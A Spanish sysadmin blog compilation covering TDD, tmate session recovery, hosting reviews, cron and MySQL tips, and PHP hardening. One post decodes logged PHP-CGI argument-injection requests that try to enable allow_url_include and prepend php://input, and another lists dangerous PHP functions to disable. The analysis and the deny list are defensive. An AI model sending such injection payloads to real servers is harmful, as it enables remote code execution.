Avoid Testing Implementation Details, Test Behaviours / Evita testear detalles de implementación, testea comportamiento

Traducción del texto original de Ian Cooper el 6 de Octubre de 2011 en http://codebetter.com/iancooper/2011/10/06/avoid-testing-implementation-details-test-behaviours/

De vez en cuando vuelvo a leer el libro Test-Driven Development de Kent Beck. Sinceramente, creo que es uno de los mejores libros de desarrollo de software jamás escritos. Lo que me encanta del libro es su sencillez. Tiene una austeridad que engaña, como si se tratara de una aproximación superficial del tema. Pero si continúas leyendo a medida que avanzas con TDD te das cuenta que es bastante completo. Donde trabajos posteriores a este libro han agregado páginas e ideas, a menudo han disminuido la técnica, cargándola de complejidad, generando malentendidos acerca del poder de TDD. Insto a cualquiera de vosotros que lo haya practicado TDD por un tiempo, a volver a leer este libro regularmente.

Para mí, una de las ideas clave de TDD, que a menudo se pasa por alto, se expresa en el ciclo: Red, Green, Refactor. Primero escribimos una prueba que falle, luego la implementamos el código de la manera más rápida y sucia que podemos, y luego la hacemos elegante. En este post del blog, quiero hablar sobre algunas de las ideas del segundo y tercer paso que se pierden. (Aunque debe recordar el primer paso: las pruebas no tienen pruebas, por lo que debe probarlas).

Mucha gente se bloquea cuando van a implementar, porque tratan de implementar bien, pensando en buenos patrones OO, SOLID, etc. ¡Alto! El objetivo es poner el test en verde lo antes posible. No intentes crear una solución decente en este punto, simplemente escribe la solución más rápida para el problema que puedas encontrar. Corta y pega si puedes, copia algoritmos de CodeProject o StackOverflow si puedes.

Del libro Test-Driven Development.

Detente. Espera. Puedo escuchar a los «estirados» burlándose entre ustedes y votimando. ¿ copiar y pegar? ¡ El fin de la abstracción ! ¡ La muerte del clean code !

Si estás molesto, respire profundamente. Aspira por la nariz … aguanta 1, 2, 3 … expira por la boca. Ahora. Recuerda, nuestro ciclo tiene diferentes fases (pasan rápidamente, a menudo en segundos, pero son fases):

1. Escriba una prueba.

2. Haz que compile.

3. Ejecútalo para ver si falla.

4. Hazlo funcionar.

5. Elimina la duplicación .

Es ese paso final (que es nuestro paso de refactorización) es en el que hacemos clean code. No antes, sino después.

Hacer clean code al mismo tiempo que hacemos el paso «que funcione» puede ser demasiado para hacer a la vez. Tan pronto como puedas, comprueba el paso «hágalo funcionar» y luego «limpie el código» cuando lo desees.

Ahora bien, aquí hay una implicación importante que a menudo se pasa por alto. No tenemos que escribir tests para las clases que refactorizamos a través de ese último paso. Serán implícitos a nuestra implementación y ya están cubiertos por la primera prueba. No es necesario que agreguemos nuevas pruebas para el siguiente nivel, a menos que consideremos que no sabemos cómo dirigirnos al siguiente paso.

Del libro Test-Driven Development nuevamente:

Debido a que estamos usando Pairs como claves, tenemos que implementar equals() y hashCode(). No voy a escribir tests para estos métodos, porque estamos escribiendo código en el contexto de una refactorización. Si estamos en el paso de refactorización y pasan todos los tests, entonces suponemos que ese nuevo código se ha ejercitado correctamente. Si estuviera programando con alguien que no viera exactamente a dónde vamos con esto, o si la lógica se volviera un poco compleja, comenzaría a escribir pruebas por separado.

¡ El código desarrollado en el contexto de la refactorización no requiere nuevos tests ! Ya está cubierto, y las técnicas de refactorización seguras significan que no deberíamos estar introduciendo cambios específicos, sólo limpiando la implementación aproximada que solíamos hacer en verde. En este punto, más pruebas te ayudarán a dirigir el test (pero tienen un coste)

El aprendizaje es que un test por clase no es la esencia de TDD. Agregar una nueva clase no es el desencadenante para escribir un test. El motivo que lleva a escribir un test es implementar un requisito. Por lo tanto, deberíamos probar de afuera hacia adentro (aunque recomendaría usar puertos y adaptadores y hacer el ‘afuera’ del puerto), escribir pruebas para cubrir los casos de uso (escenarios, ejemplos, GWT, etc.), pero sólo escribir pruebas para cubrir los detalles de implementación de eso cuando necesitemos comprender mejor la refactorización de la implementación simple con la que comenzamos.

Un resultado positivo de esto será que gran parte de nuestra implementación será interna o privada, y nunca se expondrá fuera. Eso reducirá el acoplamiento de nuestra solución y facilitará que efectuemos el cambio.

Del libro Test-Driven Development nuevamente:

En TDD usamos la refactorización de una manera interesante. Por lo general, una refactorización no puede cambiar la semántica del programa bajo ninguna circunstancia. En TDD, las circunstancias que nos preocupan son los tests que ya están pasando.

Cuando refactorizamos, no queremos romper los tests. Si nuestros tests saben demasiado sobre nuestra implementación, será difícil refactorizar, porque los cambios en nuestra implementación necesariamente darán como resultado que reescribamos los tests, momento en el que no estamos refactorizando. Diríamos que hemos sobreespecificado a través de nuestros tests. En lugar de ayudar al cambio, nuestros tests ahora han comenzado a ser un obstaculo. Como alguien que ha cometido este error, puedo dar fé del hecho de que es posible escribir demasiados tests unitarias para testear detalles. Sin embargo, si seguimos TDD como se pensó originalmente, los tests caerán de forma natural en mayor medida en nuestra interfaz pública, no en los detalles de implementación, y nos resultará mucho más fácil cumplir con el objetivo de cambiar los detalles de impementación (cambio seguro) y no la interfaz pública (cambio inseguro). Por supuesto, esta observación, que muchos practicantes de TDD han pasado por alto esta idea, formó el base de BDD (original de Dan North) y es la razón por la que BDD se centró en escenarios y se enfoca afuera hacia adentro (inside-out) para TDD.

recuperar sesión de tmate

Tmate, Instant terminal sharing ( https://tmate.io/ ) es un multiplexador de terminales basdo en tmux (https://github.com/tmux/tmux/wiki) . Así a lo tosco, te permite compartir una o varias sesiones de terminal en la misma conexión. Es una de las herramientas que más intensamente uso para trabajar en equipo de manera remota. Tiene algunas complicaciones como atajos de teclado, configuraciones, etc… pero funciona realmente bien y aporta mucho más valor que problemas.

Si por lo que sea has cerrado el terminal, o no sabes cómo has salido de la sesión… aún puedes recuperarla… En /tmp/tmate-1000 tienes sockets a todas las sesiones abiertas. Siemplmente prueba uno a uno los sockets, entra con attachy decide si quieres recuperar el control de la sesión o matarla

tmate -S /tmp/tmate-1000/4nfqme attach

Recuerda también que si quieres recuperar la sesión ssh puedes hacerlo. Desde dentro de tu sesión ssh con control + b + colon. Donde colon son los dos puntos :

Eso te acceso a un modo de operación con tmate. El comando show-messages te dará información sobre el acceso a tu sesión

Wed Jul 17 14:20:00 2019 [tmate] Connecting to ssh.tmate.io…
Wed Jul 17 14:20:00 2019 [tmate] Note: clear your terminal before sharing readonly access
Wed Jul 17 14:20:00 2019 [tmate] web session read only: https://tmate.io/t/ro-DOKIIyahkHigjfF5JbHFr1Fdm
Wed Jul 17 14:20:00 2019 [tmate] ssh session read only: ssh ro-DOKIIyahkHigjfF5JbHFr1Fdm@ln2.tmate.io
Wed Jul 17 14:20:00 2019 [tmate] web session: https://tmate.io/t/FLb5IYsUyjZpp2dIdGuznh2NZ
Wed Jul 17 14:20:00 2019 [tmate] ssh session: ssh FLb5IYsUyjZpp2dIdGuznh2NZ@ln2.tmate.io

Como puedes ver tienes tanto acceso de sesión con el usuario guest o de sólo lectura. Además de acceso vía web.

cosas de logs

Queremos compartir cosas curiosas que vemos en los logs. En este caso es un fragmento en un log de apache de un servidor :

101.78.160.195 - - [03/Nov/2013:23:21:42 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:43 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:44 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:45 +0100] "POST /?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25""

Vemos el chorro raro y tenemos que decodificarlo a ver de se trata:

<?php

$string = <<<EOF
101.78.160.195 - - [03/Nov/2013:23:21:42 +0100] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:42 +0100] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:43 +0100] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:44 +0100] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:45 +0100] "POST /?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
EOF;

foreach ( split( "n" , $string )  as $entry ) 
    print urldecode( $entry ) ."n"; 

?>

Con este sencillo script vemos qué intentan hacernos, ya que debe ser algún tipo de bot o gusano buscando servidores vulnerables:

101.78.160.195 - - [03/Nov/2013:23:21:42  0100] "POST /cgi-bin/php5?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:42  0100] "POST /cgi-bin/php-cgi?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:43  0100] "POST /cgi-bin/php.cgi?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:44  0100] "POST /cgi-bin/php4?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"
101.78.160.195 - - [03/Nov/2013:23:21:45  0100] "POST /?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n HTTP/1.1" 400 498 "-" "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25"

Lo que buscan son servidores en los que puedan desactivar safe_mode, disable_functions, open_basedir y permitir allow_url_include, de forma que puedan inyectar código remoto.

Es interesante dedicarle unos minutos a investigar un poco más en nuestros logs, se ven cosas curiosas 😉

Por qué no elegir Siliconhosting , Axarnet ni Dinahosting

Después de muchos meses pensando en escribir o no escribir este tipo de comentarios totalmente subjetivos he decidido escribirlo, aunque sea brevemente esperando que sirva de algo, por lo menos de cara a futuros clientes o bien para que mejoren los servicios.

Las experiencias que describo se basan en aproximadamente dos años de servicio con Siliconhosting ( antes SiliconTower) y Dinahosting y de casi un año con Axarnet. En estos proveedores tenemos alojados a distintos clientes y en cada uno estamos teniendo una serie de problemas o incomodidades que no se corrijen, por lo que vamos a cambiar de proveedor todos nuestros productos ( aprovecho para hacer una llamada a las ofertas de servicios ).

Servicio VPS / Hosting Dedidado:

Son los servicios que estamos contratando actualmente dependiendo de cada cliente. Tenemos un volumen medio de visitas , nada brutal, en algunos servidores alojamos varios dominios y en otros sólo uno o dos, dependiendo del cliente. Necesitamos obviamente acceso a shell para nuestras tareas del día a día, tando de la gestión de los servicios como del código que se desarrolla.

Con SiliconhostingSiliconTower la experiencia ha sido buena, excepto con un par de caídas a lo largo de dos años. Una duró un par de días que por suerte fué en fin de semana o puente , algo así y la otra se solucionó en unas seis horas. Estas caidas afectaron a los discos y al nodo virutozzo, si no recuerdo mal. El trato con los operadores fué bueno.

Con Axarnet. Está siendo penoso, tenemos máquinas con un o dos dominios que dan un rendimiento muy por debajo de lo normal, pero mucho. Hemos intentado en varias ocasiones que nos revisen la máquina y que nos cambien de nodo y nada de nada. Lo que es lo peor es el trato indefernte de lo operadores y la desidia en las contestaciones.

Dinahosting, tenemos dedicados y funcionan muy bien y sin ningún problema. Además el panel de control es muy completo.

Servicio de backup:

Esto es lo que me ha colmado de paciencia. Elegimos estas empresas para hospedar VPS por que nos ofrecen copias de backup gratuitas lo que es genial ya que nos permite hacer copia completa de nuestro VPS en sus intalaciones a parte de las copias que hacemos nosotros. Pues bien, todas estas copias gestioandas con PowerPanels, fallan, falla mucho más en Axarnet que en Siliconhosting pero en ambos casos hemos tenido que recurrir a borrar todas las copias para poder hacer una copia nueva por que directamente fallan y a veces lo solucionan y otras no. Lo «más total» ha sido solicitar revisión en Axarnet para hacer una copia incremental de un backup y que nos contesten que no es posible, que hay que eliminar el backup para volver a lanzarlo OMG !

En Dinahosting, el backup para dedicados se realiza mediatne un script en Perl que hay que configurar a mano y hace copias en un NFS, el script por supuesto no permite que se copien ficheros en caliente, como logs o ficheros mysql y además nos notifican por email cuando sobrepasamos el espacio contratado. Me confirman que no tienen intención de cambiarlo.

En resumen, me gusta Dinahosting y me quedaría con ellos si fueran un poco más competentes en precio de VPS y tuvieran un sistema de backups pontentes. En cuanto a Siliconhosting y Axarnet, me voy a deshacer de ellos en cuanto encuentre un proveedor que me dé más garantías. Siempre intentamos apostar por proveedores españoles, pero parece que sigue fallando algo y seguramente nos tendramos que ir a buscar un proveedor extranjero.

En cuanto la atención al cliente, excepto Axarnet, son bastantes buenas. Aunque siempre das con algún becario y te contestan cosas que te dejan helado.

Como notas añadidas:

Siliconhosting: No se sincronizan bien los dominios de los VPS con el panel de cliente y hay que ir dando los registros a mano en el VPS y en el panel

Strato Alojamiento: Sufrimos para renovar y cambiar de propietario un dominio, no recomiendo contratar dominos con Strato.

Acens: La gestión DNS de dominios es muy limitada y panel de control no es nada intuitivo..

Notas Positivas:

CDMON. Me parece que están haciendo un gran trabajo, mejorando pocas cosas pero constantemente y aunque hemos tenido algún problemilla ( como puede ocurrir en cualquier empresa ) el servicio parece bastante bueno.

 

Como indicaba al princpio, son valoraciones personales que quería compartir con los lectores de este blog y que no tienen por que coincidir con los demás compañeros de Hosting Al descubierto. Por supuesto esperamos vuestros comentarios para contrastar opiniones.

 

VPS Plesk no ejecuta cron.daily

En un par de máquinas VPS Plesk 10.4.4 que tenemos con Axarnet no funciona cron correctamente. El caso es que todo parece estar correcto, los ficheros del cron, permsisos, los logs no reflejan nada…

Nos pusimos a revisar ficheros y llegamos a este punto /etc/crontab. En crontab se definen las horas a las que se ejecutan los cron de hourly, daily, weekly y monthly.

En debian/ubuntu la forma de ejecutar estos cron es esta :

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

Con lo que si queremos testear la ejecución directamente vemos que si /usr/bin/anacron se puede ejecutar no se hace nada. Si vemos los permisos, comprobamos que sí es ejecutable :

 stat /usr/sbin/anacron
  File: `/usr/sbin/anacron'
  Size: 29632     	Blocks: 64         IO Block: 4096   regular file
Device: 92adh/37549d	Inode: 30526104    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2013-01-11 12:59:10.000000000 +0100
Modify: 2009-11-02 04:48:41.000000000 +0100
Change: 2013-01-11 12:59:11.000000000 +0100

Esto huele a problema con la plantilla … y googleando un poco hemos encontrado algunas referencias y en concreto esta: http://forum.parallels.com/showthread.php?t=258358

La solución rápida es desinstalar y reinstalar el paquete anacron o crear los ficheros /etc/cron.{hourly,daily,weekly,monthly}/0anacron Que son los que faltan.

apt-get remove --purge anacron
apt-get install anacron

El contenido del fichero 0anacron:

/etc/cron.daily/0anacron 
#!/bin/sh
#
# anacron's cron script
#
# This script updates anacron time stamps. It is called through run-parts
# either by anacron itself or by cron.
#
# The script is called "0anacron" to assure that it will be executed
# _before_ all other scripts.

test -x /usr/sbin/anacron || exit 0
anacron -u cron.daily

Separar un fichero SQL con mysqldump en tablas individuales

En el siguiente caso tenemos un volcado enormemente grande de una tienda ( ElasticPath ) que almacena una cantidad brutal de datos de logs, sesiones y carritos. Importar una base de datos de unos 2 o 3 Gb nos puede llevar un buen rato, y nosotros sólo queremos algunas tablas… así que hemos decidido separar el volcado SQL por tablas.
Pero antes vamos a echar un vistazo al fichero a separar :

ElasticPath5-table.sql
Vemos que tenemos la sentencia DROP TABLE al comienzo de cada tabla por que le hemos agregado la opcion –add-drop-table en el momento de lanzar el volcado con mysqldump.
Por lo que nos interesa lanzar el ‘split‘ por cada DROP y meterlo en un fichero. Para ello lo vamos a hacer con el ultrapoderoso PERL:

perl -n -e '/^DROP TABLE/ and open F, sprintf(">output_%03d.sql",$n++); print F;' ElasticPath5-tables.sql

Bajate el fichero de ejemplo y lanzalo en la consola, acojonante eh !

Vamos a ver que es lo que hace realmente :

1.- Le estamos pasando el fichero ElasticPath5-tables.sql con el parametro -n se ejecuta en modo while()  infinito mientras tenga lineas del fichero  ElasticPath5-tables.sql y con -e ejecuta el codigo indicado
2.- El codigo ejecutado lo vamos a dividir en varias partes, pero antes hay que tener en cuenta que esa linea de código se ejecuta por cada linea del fichero ElasticPath5-tables.sql
2a .- /^DROP TABLE/ and open F, sprintf(«>output_%03d.sql»,$n++);
2b .- print F;

Primero vemos que hace un chorro de cosas en perl y luego hace un «print F«. Si os fijais hay un «;» que indica separación de lineas de ejecución, con lo que se ejecutará si o sí.
La parte primera, consta de dos partes a su vez

3a .- Primera parte : /^DROP TABLE/
Busca la cadena de texto «DROP TABLE» y que esté al comienzo de la linea
3b .- Segunda parte : open F, sprintf(«>output_%03d.sql»,$n++);
Abre un fichero «F» con el nombre output_000 formateado a decimales relleno de 0 según el valor de $n

¿ Hasta aquí todo claro ? se ve un poco más la luz ?

Lo que hace realmente es busca por «DROP TABLE» y si lo encuentra abre un fichero y pone $n a +1 , y comienza a escribir las lineas ( acordaos del print «F» ).
En el momento en que encuentra otro «DROP TABLE» cambia el nombre de fichero ya que el «open» sólo se hace en caso de que haya concordancia con la expresión regular y
a partir de ese momento todo el fichero se empieza a redirigir al nuevo fichero.

Efectivamente no hay «closes» para los ficheros, pero oiga, funciona de maravilla y para un apaño bien viene

Debian : ficheros temporales mejor en RAM o en disco ?

En este link podeis leer un interesante artículo resumiendo el hilo de debate que comenzó Sergue acerca de si es buena idea meter el directorio /tmp ( directorio para albergar los ficheros temporales en un sistema Unix/Linux ) en memoria. Para la nueva versión de Debian: Wheezy 7.0 se está valorando si sería recomendable montar /tmp en un sistema de ficheros tmpfs. No todo el mundo está conforme y ha creado una rama de debate bastante interesante.

El resumen es que hay gente que defiende que meter /tmp en tmpfs aumenta la velocidad del sistema ya que no hay accesos al disco para ficheros temporales. Parace que el ejemplo de Solaris que lo lleva haciendo desde hace mucho tiempo ha estado muy presente en el debate. En un entorno ideal en el que el sistema sólo use ficheros pequeños es ideal, pero si usamos un sistema en el que los ficheros temporales sean de gran tamaño, como cuando se descomprime un fichero .iso o ficheros temporales de streamming unidos junto con un uso de memoria de elevando, provocaría que el sistema tenga que usar swap para proporcionar memoria emulada al tmpfs y ofrecer espacio suficiente a /tmp.

En general es una lectura bastante interesante y recomendable:

Temporary files: RAM or disk?

Usando Horde con safe_mode para enviar por smtp y no usar sendmail

Seguramente esté muy documentado ya por ahí pero es muy recomendable dejar de usar horde bajo sendmail con el fin de securizar la máquina. Con el cambio que comentamos a continuación, evitamos tener que ejecutar comandos en la máquina local, ya que el correo lo enviamos vía smtp al servidor local o a cualquier otro servidor que configuremos.

Resumen rápido:

Deshabilitamos la mayor parte de funciones potencialmente peligrosas para el sistema.
Esto implica que fallen algunas aplicaciones, como Horde

 
# /etc/php5/apache2/php.ini) 
disable_functions = system,passthru,readfile,escapeshellarg,proc_close,proc_open,ini_alter,dl,show_source,curl_exec

